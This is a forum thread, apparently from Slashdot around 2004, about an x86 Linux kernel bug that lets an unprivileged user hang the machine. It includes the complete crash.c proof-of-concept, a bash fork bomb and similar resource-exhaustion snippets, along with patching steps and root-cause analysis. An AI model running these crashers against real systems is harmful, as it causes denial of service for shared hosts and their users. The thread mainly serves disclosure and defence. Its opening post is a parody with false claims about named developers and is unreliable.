I hope to see a switch from C to VB very soon. I've already spoken with various luminaries in the C coding world and most are eager to begin to transition. Having just gotten off the phone with Mr. Alan Cox, I can say that he is quite thrilled with the speed increases that will occur when the Linux kernel is completely rewritten in Visual
Basic. Richard Stallman plans to support this, and hopes that the great Swede himself, Linux Torvaldis, won't object to renaming Linux to VB/Linux. Although not a C coder himself, I'm told that Slashdot's very own Admiral Taco will support this on his web site. Finally,
Dennis Ritchie is excited about the switch!

Thank you for your time. Happy coding.

Re:Open Source Community shows its Value

[Anonymous Coward]

It shouldn't be long before a patch is issued to resolve this problem. Thank goodness for caffene loving geeks everywhere!

Let's just hope they're not browsing for pr0n.

if you're running 2.4.25 or 2.4.26

[Anonymous Coward]

here's a direct link to the patch.

not whoring. ;)

Re:if you're running 2.4.25 or 2.4.26

[13Echo]

This crash most definitely works. I tested it on my freshly built 2.6.6 kernel and it locked the whole machine up; just totally freezes it. This was as a standard user.

I suppose it is not a problem since I don't allow shell access to my machines, but I guess it wouldn't hurt to patch anyway.

The problem appears to be...

[Ayanami Rei]

... that if you trigger a floating point exception inside a signal handler (specifically SIGALRM), the kernel doesn't handle it correctly, hanging the system. It appears to affect both SMP and UP kernels.

Some questions I have to those who may have been following this:

Does the crash occur without the syscalls in the signal handler/main process?
Does the crash occur on SMP machines?
Does the crash occur with other signals (PIPE, USR1, etc.)
Does the crash occur on ppc, sparc, etc?

Re:The problem appears to be...

[log2.0]

Most of those questions are answered in the article.

Re:The problem appears to be...

[Ndiin]

I can confirm that this does occur on SMP systems, but it requires two instances. The first run of the program locks up one of the CPUs completely, and cannot be killed. The second kills the entire machine.

This is on 2.4.25

-- Ndiin

Real crash.txt info and fix

[bigdady92]

#include
#include
#include

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}

Using this exploit to crash Linux systems requires the (ab)user to have shell access. The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged).

This code only works on x86 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.

Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box.

How to protect yourself

The last days were frustrating. Compiling a large number of different kernel versions just to find that gcc crash.c -o evil && ./evil halts the system is quite dull. I hoped some kernels would be unaffected because 2.4.26-rc3-gentoo and 2.4.26_pre6-gentoo are, but sadly almost all kernels versions die when evil is executed.

The Linux Kernel mailing list is found to the right of this article. You may find solutions there not mentioned on this page. The author does subscribe and plans to post (better) solutions here as they appear.

Patch for 2.4.2x (vanilla) Kernels
Stian Skjelstad mailed me a working patch 2.4 kernels.

2.4.26

I applied it, confirmed that it works with the vanilla 2.4.26 kernel and made a diff (diff -ur linux-2.4.26/kernel/signal.c linux-2.4.26-x/kernel/signal.c > signal.c-2.4.26.patch.txt). (signal.c-2.4.26.patch.txt)

1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
2. Download linux-2.4.26.tar.bz2 from your local Linux Kernel Mirror
3. Unpack the kernel source and make a symbolic link:
* cd /usr/src/
* tar xfvj linux-2.4.26.tar.bz2
* ln -s linux-2.4.26 linux
4. Download the patch for 2.4.26: signal.c-2.4.26.patch.txt
5. Apply the patch
* patch -p1 -d /usr/src/linux-2.4.26 signal.c-2.4.21.patch.txt) is tested and works for Kernel 2.4.21 (vanilla).

1. Get a vanilla 2.4.21 kernel and install it.
2. Apply the patch
* patch -p1 -d /usr/src/linux-2.4.26 2.4.26-rc3-gentoo.

I have no idea why this kernel version is safe from this exploit. It just is. This kernel patch set returns Floating point exception instead of locking the system when evil is executed.

This kernel can be used on any Linux system. It does not require any Gentoo-only tools.

1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
2. Download linux-2.4.25.tar.bz2 from your local Linux Kernel Mirror
3. Get the patch set for Gentoo 2.4.26-rc3-gentoo (mirror1) (mirror2) aka 2.4.26_pre5:
* wget http://re.a.la/gs (2,2M)
4. Unpack the 2.4.25 kernel source:
* cd /usr/src/
* tar xfvj linux-2.4.25.tar.bz2
5. Apply the Gentoo patchset:
* patch -p1 -d /usr/src/linux-2.4.25 "EXTRAVERSION = -rc3-gentoo"
8. Configure your kernel
* Using your old config: cp /usr/s

Re:Real crash.txt info and fix

[markan18]

I have compiled it and running it right now. That code sucks 99% of cpu but no crash. I have an "old" 2.6.1 kernel compiled from gentoo development-sources. It seems that exploit does not work on my machine.

No carrier loss here, 5 minutes and still running.

Who has shell access?

[slusich]

How many systems deployed in real world enviorments give anyone other then IT staff shell access?

Re:Who has shell access?

[Welsh Dwarf]

Sourceforge?

Re:Who has shell access?

[AllUsernamesAreGone]

I don't know how "real world" you'd class a University, but there are two machines I have to help out with here that students have access to for their Bioinformatics DL assignments.

It already has a program running on it that I had to develop to detect processes using too much processor time and kill them (with warnings, messages printe dout when students log in and so on). I'll probably have to upgrade it to do the same with memory now that we have one genius who seems to be finding a way to consume 1.8Gb of memory.

Now I need to get kernels compiling, excuse me...

Re:Who has shell access?

[Ctrl-Z]

Universities.

Re:Who has shell access?

[afidel]

I have shell on my old dialup ISP's Sun machines, have for over a decade now. Many shared webhosting farms run on Linux on x86 and if you have CGI you basically have shell since you can run arbitrary code. Also any place that does development work under Unix probably gives their developers shell access (duh). So I would say there are a lot of places that give more than just the inner circle monks of IT shell access.

Re:Who has shell access?

[D_Gr8_BoB]

I work in a university environment, and maintain four shell servers for general student, staff and faculty use. It's also never a good idea to assume you're safe because a certain vulnerability is local-only, since attackers often combine a "harmless" local attack with a "harmless" unpriveledged remote attack to great effect.

Re:Who has shell access?

[42forty-two42]

It already has a program running on it that I had to develop to detect processes using too much processor time and kill them (with warnings, messages printe dout when students log in and so on). I'll probably have to upgrade it to do the same with memory now that we have one genius who seems to be finding a way to consume 1.8Gb of memory.

Don't kill it, renice it. It'll still run, but it'll cede the processor to other apps when they need it. Also, ulimit can handle limiting memory.

Re:Who has shell access?

[mattyrobinson69]

How about these?

I used the search term "shell accounts", incase you couldn't think of something more relevant than "cheese" or "striped cow" to search for....

Re: My Experience with the Linux

[timotten]

...having programmed in VB for the last 8 years doing kernel level programming...

I think you'll need to clarify that for us slashdot folk.

SCO

[somethinghollow]

It must be an exploit in the SCO code that is in the Linux kernel!

;)

Remain calm..

[ObsessiveMathsFreak]

... It's ok. remember, not many people know about this yet. ...... ......

Oh God! How to I update Fedora Core 2!!!!

Re:OS bugs are like golf...

[RAMMS EIN]

Well, those who have been paying attention know that Linux has had quite a few (read: way too many) critical bugs in the past year. Most of them were related to do_mremap (how many times do they have to "fix" that until its fixed?!), varying in severeness from DoS to local root exploits. How many has the Windows kernel had in the last 12 months? I am afraid that this comparison might fall out to the advantage of Windows. Until you take into account time to fix, maybe. Off to patch my systems...

Okay, I'm confused...

[ThePatrioticFuck]

I thought Monday's were supposed to be Windows patch days, Tuesdays were for Linux, Wednesday was Apache, Thursday was Windows again, Friday was SSH...

Re:Okay, I'm confused...

[Zeddicus_Z]

But... what about Sendmail?

Re:Okay, I'm confused...

[Secrity]

And FreeBSD patch day is the first Tuesday of every quarter (if needed).

I read the article too, I'm an idiot.

[Ayanami Rei]

The article says it affects x86 (and x86-64) only.

So itanium, ppc, etc. are safe. But my other questions still remain.

Note that the person who reported the bug thought they were triggering a gcc bug. As it turns out, he munged his FPU assembly instructions.
The GCC people rightly told him to contact the lkml... it's definitely an exception handling issue.

so someone would

[zogger]

go to the trouble to get a paid for shell account at a provider, or a freebie I guess, then run this script, just to destroy their own account basically?

Or is the bigger danger is that this script would be the payload that is included within some linux worm?

Just wondering what this means for joe average home linux user who isn't running a server.

You know you have problems if...

[ulmanms]

Your sysadmin needs this advice:
If your system is a production server with 1000 on line users then do not test this code on that box.

Re:This is another reason why C should be deprecat

[sqrammi]

No, it's not because C is being used here. It's because assembly is being included in the program. If you weren't able to compile the inline assembly, you wouldn't be able to compile this program on a specific system. Plus, you can just create a raw ELF binary that has this assembly instruction in it (if you knew all the opcodes, etc.) and crash a system. This has nothing to do with the language that is being used.

Re:Fixed quickly.

[bdash]

And fixes will be deployed within hours.
The same cannot be said of many proprietary OSes...

The fact that a patch is available doesn't mean that it is a non-issue. In many cases system administrators are too busy, lasy or do not wish to interrupt services, to update their systems to fix these software vulnerabilities. The proprietary vs. non-proprietary argument is irrelevant if administrators fail to keep up-to-date with security fixes. A good example of this was the SQL Slammer worm that made it's rounds several months after a patch that fixed it's attack vector was released.

Simply put, the bigger problem is with the wet-ware than the development methodology.

You do NOT need shell access

[Anonymous Coward]

This can be executed on any webhost with ftp access and a cgi-bin.

Re:OS bugs are like golf...

[martingunnarsson]

Slashdot blurb about Windows bug
Linux trolls: Windows sucks!!!

Slashdot blurb about Linux bug
Linux trolls: Windows sucks!!!

I know plenty who do...

[Allen Zadr]

I know plenty of users who do care...

In the real world, where I work, I run a Hybrid network where I'm still waiting for Windows XP Service Pack 2 to come out in a finalized form because I don't have an option to pull just the parts that I need, and SP2 RC2 is not quite ready to unleash on my network (although I have actively TESTED it). Of course, this just fixes some vulnerabilities that have existed for over a year.

Don't tell me that I, as a Windows User and Administrator, don't care. While I've ignored this kernel issue over the weekend, I get to actively compile come kernel patches and test those. I'll bet, even before my testing, that I'll be able to have a production solution by tomorrow. Even if SP2 releases this afternoon, I'll still have to test it before deployment, so the Linux solution will be in production first.

Vulnerability in Linux, NetBSD Unaffected!!!

[RAMMS EIN]

FTFA (From The Fine Article):

``This doesn't affect NetBSD Stable.''

The exploit code also doesn't work on Windows 95, nor on Menuet. I haven't tested SkyOS, because I don't have a license.

Re:Vulnerability in Linux, NetBSD Unaffected!!!

[Senjutsu]

Officials say that, at this time, they are unsure whether or not the Amiga is affected. Precaution is urged.

Re:Fixed quickly.

[kaiidth]

Patch is here on LKML. And of course it is on the original exploit page too.

Here is the LKML discussion thread on the subject. It's an interesting bug, briefly summarised by Matt Mackall as follows:

The example code's bogus
asm is generating an FPU fault in frstor in its signal handler, that's
bumping us into math_error -> force_sig_info ->
specific_send_sig_info. Then we hit:

if (LEGACY_QUEUE(&t->pending, sig))

which decides we don't need to send the signal after all and we bail
all the way back out and recurse.

So there's a bit of a massive problem with FPU exception handling, which didn't come to light before. Wheee. Fun.

Re:Fixed quickly.

[immytay]

Don't get me wrong, I enjoy Linux, but keep in mind, the article is 3 days old.

Also, how will I be to apply the patch and where is it? Do I have to recompile my kernel?

If this were a Windows bug, it would have been thoroughly exploited, made the news, and I would have already applied the patch by clicking "Windows Update". A bigger deal would have been made of it, but it would have only taken about a minute of my time.

I do prefer Linux, but we need to be open-minded.

2.6.5 not really affected but acting odd

[mycroft_rayok]

I ran this code on "2.6.5-gentoo-r1 #4 SMP Thu May 27 19:12:27 GMT 2004 i686 Intel(R) Pentium(R) 4 CPU 3.00GHz GenuineIntel GNU/Linux" and although it didn't crash, gnome started acting all odd, and none of the terminals were responsive. They just kept printing out the prompt. Still, I could browse slashdot while the code was running, and could run some applications. Although when I went to open another terminal it opened 6.

UML?

[spacefrog]

Very vital question for the UML virtual server leasing cottage industry and the customers of same.

If this were to be run on a UML session, what would happen? Would the damage be limited to that UML session, or would the host machine go down?

Re:UML?

[bluelip]

Talked about on the mailing lists.

http://marc.theaimsgroup.com/?l=linux-kernel&m=1 08 695598318818&w=2

Says session just dies. Host is OK.

Re:UML?

[rf0]

Intrestingly it appears UML is immune. I've just tested on a varity of systems and you get a floating point exception and thats it...

Rus

Older gcc-versions also vulnerable

[kghougaard]

FYI... My RH7.3 with gcc 2.96 and a 2.4.20 kernel is also vulnerable.

I think we're forgetting one important thing....

[kalirion]

How do we blame Micro$oft for this?

Know what else

[Anonymous Coward]

As for this bug, don't start bashing Linux left and right. Linux isn't perfect, no software is. But unlike when there is a bug in windows a fix is on the way as fast as possible. In fact, there is a patch on the site right now! And for you zealots who say stuff like "No big deal, who is going to do that? No the kind of person you give shell access to." shut up. Admit that Linux is not the perfection in computing.

You know what else makes the kernel crash? At least if you are using 2.6.5 or higher if you enable APIC/APIC-IO and you have an nforce chipset the system will lock up as soon as you do too much I/O.

Re:OS bugs are like golf...

[rabtech]

Well it is Microsoft's fault for saying that IE and such are part of the OS, but Windows has had very few kernel exploits in the most recent few years; it is mostly IE holes and, prior to IIS 6, IIS holes.

This was made worse by the fact that many people run as admin and IIS used to run as LocalSystem on default installs.

However all software has bugs; this incident is neither proof positive or proof negative of any argument re: open source vs closed source.

Re:OS bugs are like golf...

[SQLz]

Who cares about the Windows kernel when there are about 1000 other ways to gain full unmitigated access over a Windows PC. Outlook Express exploits, MSN Messenger exploits, BlackICE exploits, RPC exploits, IIS exploits, IE exploits. You can even root them in masse without even gaining initial access to the box. This linux exploit allows you to crash the box if you have an account. What moron paying for a shell account is going to do that? Or what type of cracker is going to give himself away simply to crash the box?

Re:This is another reason why C should be deprecat

[Tenareth]

I guess everybody missed the sarcasm.

Not all... (read for more info)

[Ayanami Rei]

The article doesn't attempt to explain anything.

(Someone please correct me if I have this wrong)

After poking around in the LKML, I've mostly figured it out.
The kernel wasn't handling floating point exceptions correctly in the signal handler. The problem is that if the exception is triggered by the LAST instruction in the handler, the exception is attempted to be delivered to a signal context which no longer exists. The same thing was happening with execve... if you triggered it right before the execve syscall, the application context would be destroyed, and the pending exception would be pointing to a non-existant instruction. The exception handler would jump off into space trying to deliver SIGFPE...

So they changed __clear_fpu (which is called when doing a initial switch back to user space [I think]) to clear any pending FPU exceptions, because there was no way they could be handled anyway.

Missing an FPU exception doesn't sound so bad. I think someone was posting a better solution, which would attempt to handle it the right way... (I didn't really follow the more extensive patch, anyone care to explain?)

Re:Not all... (read for more info)

[Dunkirk]

(I didn't really follow the more extensive patch, anyone care to explain?)

No. The proof is left as an exercise to the reader.

Windows Community

[Allen Zadr]

WinDrivers.com - is very much a Windows community site (there are others as well). Most Windows admins I know belong to this site. There are forums there, but there's not so much flame-wars about design (something they have no control over), but there are wars over the best default security settings to leave lUsers with, etc.

It's good reading for anybody interested, however, unlike slashdot, registration is required.

Crashing FreeBSD

[mathematician]

I year or two ago, this simple program used to do the same for FreeBSD:

#include <stdio.h>
main() {
FILE *f;
while (1) {
f = popen("date","r");
}
}

Re:OS bugs are like golf...

[RAMMS EIN]

``Who cares about the Windows kernel when there are about 1000 other ways to gain full unmitigated access over a Windows PC.''

Yes, and who says these aren't present on Linux systems? Do you claim that all Linux distros have been as heavily assaulted as Windows, and kept up? I don't think so, and therefore I don't think we can say anything about the security of a Linux + libs + apps system.

Re:More respect for Windows crashers

[jcuervo]

Windows-crashing apps

You mean there are apps that don't crash Windows?!

Re:Fixed quickly.

[kaiidth]

Mind you, at the risk of replying to myself it is worth noting that the patch currently available actually does nothing more meaningful than checking to see if the code that got you there is this exact exploit or not... so I would expect a better patch to be coming out that actually deals with the real problem, which appears to be that some poor munchkin started to write an FPU exception handler somewhere near version 2.3 and got distracted before finishing it. I assume though that the production of such a patch implies working out what the dude actually meant to do, first.

Re:Fixed quickly.

[petabyte]

This bug was posted on slashdot as a comment reply to the Assembly programing article a few days ago. I looked at it then and it locked up my machine nicely.

Aside from that, I don't know that your point is valid. Most linux users either know how to use patch and compile their own kernels, or can run up2date or whatever to download their latest prefab clutter. Also worth pointing out is this bug needs a shell to run the program and crash the system. If you're giving out shells and don't know how to use patch, this is the least of your worries.

The patch is linked from another comment in this thread and yes, you'll have to recompile your kernel. No one has access to my machines here but me so I'm not going to bother updating until 2.6.7 is released. Have a good one.

IGNORE above ... new info.

[Ayanami Rei]

God I wish I could edit posts.

The issue isn't that the context is gone... the issue is that the kernel is executing a non-waiting FPU instruction i.e. "fwait" on returning from the a context that flushes a user thread (i.e. return from signal handler, syscall after execve). Triggers the FPE, except the kernel isn't set up to handle FPEs properly from kernel space in this case. The problem is that the TS flag is set because it's switching tasks, so it receives a different exception, trap 7 (device_not_available). The purpose of that exception is to signal the kernel that a newly created process wants the FPU. So it attempts to set up the FPU... which ends up calling __clear_fpu again... heh... and the original exception isn't cleared yet... whoops.

What's really weird is I found this document, which details the potential problems of trying to use the FPU in a interrupt handler in the Linux kernel.

They brought up the potential of triggering this EXACT PROBLEM... quote "endless trap 7 activation"... only in this case they're talking about writing an interrupt routine, not returning from a signal handler. Still, they already discovered this misbehavior...

Well, you can't really call it that, though. It's was sort of by design (to make task switching faster). But the thing is you have to be ABSOLUTELY SURE that you never raise an FPE when TS is set, and you're NOT a user thread. That's what gets you burned here.

Re:IGNORE above ... new info.

[LogicHoleFlaw]

Well, when you exist as a group of genius vat-grown clones, it's bound to happen sometime....

Re:Similar windows problem

[yeremein]

Scroll down to the end of that article:

On 2002-10-29, another third party, who had access to a Windows NT XP system with the first service pack applied, reported to me confirming that on that system it was now impossible to reproduce this bug.

So, it's been fixed in XP SP1. Months after the flaw was reported, and with a woefully incorrect knowledge base article too.

Also, it hasn't been fixed in NT4, and it hasn't officially been fixed in 2000 either, although it seemed to go away after Win2K SP3.

Re:disable compiler access for non-trused shell us

[Maljin Jolt]

I suppose the answer is not allow access to a compiler for non-trusted shell users.

Please do not forget to deny using keyboard keys representing hexadecimal digits, i.e. A-F and 0-9 to untrusted users.

Re:This is another reason why C should be deprecat

[julesh]

Did you actually read it? I think it was the best troll parody I've seen for a while. I mean, the author clearly understood exactly what he was talking about when discussing C's support for pointers, which means that the way he missed the point and described them as 'inefficient' is marvelous.

Also, in light of recent events concerning the ADTI 'Samizdat' book & the author getting Tanenbaum's nationality wrong, describing Linus Torvalds as a Swede is a masterstroke.

Re:Fixed quickly.

[Hiro Antagonist]

The thing about Windows bugs is that many of them are remotly exploitable by unprivileged users; in order to exploit bugs like this, and in fact any root compromise that I know of, you need to first get a shell on the machine. Much harder than throwing up a web page or sending out a trojaned email.

Patch doesn't work for me, 2.4.26

[TDot]

I have a "very nearly vanilla" 2.4.26 kernel - all that's patched are some netfilter things for more targets. This patch didn't work for me - the patch went fine (my signal.c is no different from vanilla), and the resulting kernel booted fine, but the exploit still crashed my box. I'm using gcc-2.95.4 , Debian 3.0 (Woody). No I didn't forget to run lilo or whatever (i'm using Grub). Any ideas?

Re:disable compiler access for non-trused shell us

[NicolaiBSD]

That's not much of a solution; I'd just compile the binary on another system with matching library versions and then upload and execute it on your machine.

A good time to disable compiler access

[nacs]

This is definitely not a fix for this exploit but if you're running a server where you have given shell access to a few people (like on a hosting server), this would be a good time as ever to limit compiler access.

Here's how:

Add compiler group:

/usr/sbin/groupadd compiler

Move to correct directory:

cd /usr/bin

Make most common compilers part of the compiler group

chgrp compiler *cc*
chgrp compiler *++*
chgrp compiler ld
chgrp compiler as

Set permissions

chmod 750 *cc*
chmod 750 *++*
chmod 750 ld
chmod 750 as

To add users to the group, modify

/etc/group

and change

compiler:x:123:

to

compiler:x:123:username1,username2

'123' will be different on your installation.

Again, don't think this is a fix for the exploit. It's just a good little step in securing a box.

Re:A good time to disable compiler access

[PoochieReds]

This does no good if someone builds the program on another machine and then copies it to your host. Limiting compiler access really doesn't help secure anything unless you also prevent anyone from transferring any files to the machine (which is quite impractical).

Re:A good time to disable compiler access

[Sloppy]

Having a local compiler available makes things easier, but it doesn't give a user any fundamental powers that they wouldn't already have. They can get executable code into the system in other ways, even if they don't have a local compiler. Transfer it from another computer, or even manually enter it. Are you also going to disable cat and chmod?

I don't think this idea is useful.

What does the patch fix?

[Urban Garlic]

Question for the kernel gurus out there -- I read the article and the patch (so sue me), and it seems to me that the patch just redirects the signal-handler flow if sig==8.

This may well protect against the example exploit, but what happens if you get a floating-point exception in the handler for some other signal?

The provided patch does not look like a real fix, unless the deeper bug really does just involve sig==8.

Re:What does the patch fix?

[pclminion]

It isn't a fix, just a patch. Think of it as a software bandaid. It covers the problem and gives the kernel developers time to fix it the right way, but in the meantime, it interferes with normal operations. Just like a real bandaid.

And nobody ever said bandaids were bad, right?

Re:What does the patch fix?

[Anonymous Coward]

Why not have the signal handler issue a FNCLEX? If floating point activity isn't supposed to be going on at that point in the handler anyhow, then it'll clear any of the malicious garbage out of there. Then there's no reason to check on a specific signal type.

Although Windows is Easier to apply patches to...

[koniosis]

The update may be avaliable faster than Windows, but you cannot say that it is /easier/ to apply than a Windows patch. I hate recompiling my kernel, it always takes me a number of attempts until everything works. Also my server is running Linux and is serving two houses of people with net access, I can't just take it down and mess around with it for hours while I have fun trying to get a working kernel. So regardless of when the patch was released I still need to wait until later tonight to apply the patch.

[venom]For a moment I thought you were serious ..

[flyingace]

For a moment I thought you were serious, as I read the first 2 lines of your post ... I felt this venom building up inside me. They I saw, you thread was maked funny. What a relief.

Another fallacy of Open Source

[glorf]

There are patches that "work", even before a full explanation is available. Now, thousands of people are actively working on a solution, if they so choose.

So who is serious enough about security to want this patched, but stupid enough to just accept a patch from any of thousands of developers? Yes you could evaluate the source of each patch and recompile using th new code, but who has time for that? Open Source and proprietary software are no different in terms of patches. If you don't get it straight from the horse's mouth then you are not following very good security procedure.

After all, doesn't anyone remember this? You can find open source patches for proprietary software every once in a while too, but you would be nuts to trust them.

They DO care. But are afraid...

[mangu]

At one time, when I first got internet access, I used to keep my windows machine patched to the latest releases. Until I got into some sort of singularity, where I needed a patch I hadn't downloaded yet in order to download that same patch. Iexplore stopped working without that patch. After a week of messing with the computer, the only way to get internet access working was to format and re-install.

Lessons learned: (1) use Linux and keep it up-to-date with apt-get; (2) in the games partition which runs windows, *never* patch anything.

Re:This is another reason why C should be deprecat

[rendler]

From the perlfaq1 man page:

What's the difference between "perl" and "Perl"?

One bit. Oh, you weren't talking ASCII? :-) Larry now uses "Perl" to signify the language proper and "perl" the implementation of it, i.e. the current interpreter. Hence Tom's quip that "Nothing but perl can parse Perl." You may or may not choose to follow this usage. For example, parallelism means "awk and perl" and "Python and Perl" look OK, while "awk and Perl" and "Python and perl" do not. But never write "PERL", because perl is not an acronym, apocryphal folklore and post-facto expansions notwithstanding.

Some people are pedantic about these sorts of things. Personally my only spelling pet peeve is seeing people use 'alot'.

Re:Although Windows is Easier to apply patches to.

[alexbartok]

If you maintain a Linux system for a larger group of people, you should know what you are doing. Pardon me, but obviously you're not.
As soon as I read this I upgraded our Firewall at work. I downloaded the latest 2.6, got the patch from the bottom of the linuxreviews site. That took about 4 minutes on a somewhat fast internet connection.
Extracting the Kernel and patching it: 1 minute, brain involved: none (patch howto on that page as well, besides, if you are a real sysadmin you'll be able do kernel patches single fingered).
Configuring the kernel: 1 minute as well, using make oldconfig (porting over my .config from 2.6.4, then answering a few questions for new options) brain involved: 1%, well documented in case of doubt.
Compiling: make-kpkg kernel_image: 10 minutes, brain involved: 0%.
Installing: dpkg -i ../kernel....: 10 seconds, brain involved: 0%.
Rebooting: about 1.5 minutes, brain involved: how fecking hard can it be to type 'shutdown -r now' ? or maybe even 'reboot' :P

This also answers the other posting where somebody was whining about making the updates moronproof... Most distros have this 'feature', autoupdating, Redhat: up2date, Debian: apt (through security.debian.org), ...

Re:This is the best they can come up with?

[BenjyD]

This is a reasonably serious bug. A well-configured *nix box should not be crashable by anything a normal user can do. The amount of memory a user can allocate, the number of processes they can launch, the size and number of files they can create should all be limited through user limits. There is no way (AFICS) to prevent this bug being exploited through those kind of limits. If there are lots of people logged in, figuring out who crashed the box would be quite hard - just have the crashing program delete itself before it crashes the box.

Hitting ctrl-alt-delete or the power requires physical access, which shell users almost never have (I don't even know where most of the computers I use every day are - they could be in Timbuktu for all I care).

FYI suse 9.1 not vulnerable

[sloanster]

Granted, this crashme program, which requires local shell access, does seem to work in some cases.

However, it does not do so on suse linux 9.1 - it creates an unkillable process, but the system continues to run normally.

It's funny

[Joust]

I see comments about how it only took a few days for the open source community to respond to this bug. In a comment made by Ayanami Rei, an article is linked that is dated December 12, 2003 that details this problem. Isn't that a 6-month response time to this issue? It would appear that Linux is subject to the same patching issues as MS is, even though the reasons are a bit different.

another way to fix the problem...

[naken]

#include
#include
#include

static void Handler(int ignore)
{
char fpubuf[108]; // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1); // __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}

by simply commenting out the inline assembly, i fixed crash.c so it can no longer crash Linux!

1 2 1 2 THE NAKEN CREW

In other news; "I be I could ..."

[danalien]

crash your computer, from bash, in 1sec flat!

by typing:

1. :() { :|: & } ; :

at the bash-prompt :-)

ref.url : http://forums.gentoo.org/viewtopic.php?t=67302

Re:Not news.

[multi io]

There are 1,001 ways to crash a linux kernel with access to a shell. Save some keystrokes and give:

for(;;)
{
malloc(1);
fork();

}

help ulimit

THIS is why I hate Linux

[gosand]

This is precisely why I hate Linux so much. When I read about Windows vulnerabilities, it is something easy like "Port 1234 left wide open" or "Outlook will email everyone in the world with your penis size if you launch IE." I can comprehend those bugs. When a Linux exploit is discovered, it is all "SIGALRM this" and "__jiggawhat_ that".

How am I supposed to keep up with this stuff?

[CORRECTION] Re:RHEL3 doesn't crash

[photon317]

My test was on a dual P4 (hyperthreading). Running a single instance of the code only locked a single cpu. I just played with it again, and running 4 instances locked the box. So RHEL3 is vulnerable, and a correct description of the problem is that the exploit locks up 1 cpu in an endless loop that cannot be stopped. For systems with multiple CPUs, you have to do this once for each cpu (twice for each physical cpu if hyperthreading) in order to lock the whole box up.

Real patch to fix the root cause, not the symptoms

[fifirebel]

http://linux.bkbits.net:8080/linux-2.5/diffs/inclu de/asm-i386/i387.h@1.16?nav=index.html|src/.|src/i nclude|src/include/asm-i386|hist/include/asm-i386/ i387.h

this *is* a big deal

[sentientbrendan]

The *first* post I see is some bullshit lauding the superiority of the opensource development process with this as an example. RTFA. Here is some sensible info and advice.

1. There *was no patch*. Some systems were immune, but that was completely by chance.
2. There is a patch *now*, but the article also says people are already using the thing to crash free shell providers on day 0.
3. The patch, at this point, requires a kernel recompile. Not everyone running linux knows how to do that. Many who do are too lazy. Don't give me some shit about how everyone running linux is so 1337 that they will be sure the have already patched their system. I know you. You aren't that 1337.
4. Yes, this *is* a big deal. We were caught with our pants down, plain and simple. This *is* worse than any windows security issue that has come up in a long time.
5. Please *do* compile the demo code against your system and test it. If your system crashes, please patch. Don't act like many and just ignore this, especially if you are running a server or anything that stays connected for any amount of time. It also might be a good idea to turn off your telnet and ssh daemon (yes, even ssh) until you patch.
6. If you are *not* running linux or not running on x86, it might also be a good idea to test the demo code against your system. If you are running windows, some versions of windows *do* support possix to a limited degree. The code *might* compile. Then there is also, cygwin. This is probably a bug specific to linux x86, but it won't hurt to check.

Re:nonzero: It's not just for game thory anymore!

[grahamlee]

I was using the term in a sociological context, bub.

The name's grahamlee. I was using a word from the english language and taking it to mean that which is its accepted meaning. It's even written as such in the dictionaries.

BTW, since you're so well versed in engineering and it's terminology I'm sure you know that all computers built since the dawn of time (computing) to this day are said to use a "Von Neumann architecture"?

That's a load of rubbish; all computers since the dawn of time have certainly not been exclusively von Neumann computers (as distinct from von Neumann machines, of course). Note all of the computers that employ the Harvard architecture. And I doubt you can conveniently ignore those unless you never ever intend to use a DSP (ever). The Harvard architecture is named after the Harvard Mark I (a.k.a. IBM ASCC), and one of its programmers was a certain Grace Hopper. She went on to big things, you know.

Von Neumann was a mathematical genius, the father of the modern computational model and the original pioneer of game theory.

You mean Neumann János? [I'm not happy that a paid-for title should necessarily be honoured.] I wonder whether he was able to see the word 'nonzero' written down without trying to invent a new meaning for it....probably. Anyway, the achievements or otherwise of a Hungarian mathematician have little bearing on your version of the word nonzero's definition, which of course comes from the Old French / Latin prefix "non-" and the Arabic "çifr". Not that your definition isn't necessarily valid in some field, I'm sure it is. It's just that the previous (c. 1879) definition already has a lot of inertia everywhere else, because people know that that is what the word means.

You forgot a few steps...

[leonbrooks]

For MS-Windows:

-4. Wait six months

-3. Deny that there is a problem (or assert that it is "theoretical");

-2. Sue or at least threaten to sue the people reporting it;

-1. Produce a fix that breaks several other things;

0. Produce a fix which only breaks a few other things but which silently rewinds some earlier security patches;

For Linux, choice of:

A. Download the vendor-prepared kernel within a few hours of seeing a problem report, install and reboot;

B. Download and apply a patch, then "nice rpm -bb kernel.spec" so the compile doesn't bring your machine to its knees the way it would under MS-Windows, install the results and reboot (with variants for non-RPM distros like Debian and Slack) (and what sort of nutcase would do the rebuild on a production machine when their own desktop would do the job just as well, even if it was a G5 and the target an Athlon64?);

C. Download and install a library shim which blocks the offending action, then do A or B without the reboot.

I'd like to see a TwoKernelMonte variant for SMP which allowed you to isolate one processor from the kernel, bring up a patched version of the same kernel under it in cooperation with the running kernel (which process would presumably not survive any changes in in-memory structures, so check for that first), migrating devices across in idle moments, then finally deleting the old kernel and bonding the processor thus freed to the new kernel. Viola, new kernel sans reboot. Ideal for a patching situation.